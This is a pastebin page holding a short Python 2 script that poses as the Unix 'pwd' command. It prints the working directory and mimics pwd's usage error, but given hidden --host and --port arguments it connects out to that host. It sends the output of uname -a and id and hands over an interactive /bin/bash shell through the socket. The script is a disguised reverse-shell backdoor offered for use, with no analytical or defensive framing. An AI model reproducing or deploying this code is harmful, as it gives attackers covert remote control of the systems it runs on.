Psst.. new poll here.
Psst.. new forums here.
Microsoft is blocking us again (TY IP Reputation!) so just use oauth login instead. :)
Paste
Pasted as Python by T7~ ( 14 years ago )
#!/usr/bin/env pyhton
#--------------------------------
# TName : pwd
# Pro : T7~ <KSA>
# Email : [email protected]
#---------------------------------
import os
import sys
import socket as so
import subprocess
SHELL = "/bin/bash -i"
#
#
def cmd(c):
p = subprocess.Popen(c, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, close_fds=True)
m = p.stdout.read()
return m
def tt():
try:
return sys.argv[1]
except:return ''
#
#
#
def usage():
print "bash: pwd: -d: invalid option %s\n\
pwd: usage: pwd [-LP]"%tt()
sys.exit()
#
for arg in sys.argv:
if arg =='--host':
host = sys.argv[sys.argv.index(arg)+1]
elif arg =='--port':
port = int(sys.argv[sys.argv.index(arg)+1])
try:
if sys.argv[1]:
if sys.argv[1] not in ('-LP','-PL','-P','-L','--host'):
usage()
except Exception,e:
pass
try:
if host and port:
sock = so.socket(so.AF_INET,so.SOCK_STREAM)
sock.connect((host,port))
try:
os.dup2(sock.fileno(), 0)
os.dup2(sock.fileno(), 1)
os.dup2(sock.fileno(), 2)
sock.send(cmd('clear'))
sock.send('---------------------------------- Uname -a -------------------------------------')
sock.send(cmd('uname -a'))
sock.send('------------------------------------ id -----------------------------------------')
sock.send(cmd('id'))
sock.send('---------------------------------------------------------------------------------')
os.system(SHELL)
except:
pass
finally:
sock.close()
except:
pass
print os.getcwd()
Revise this Paste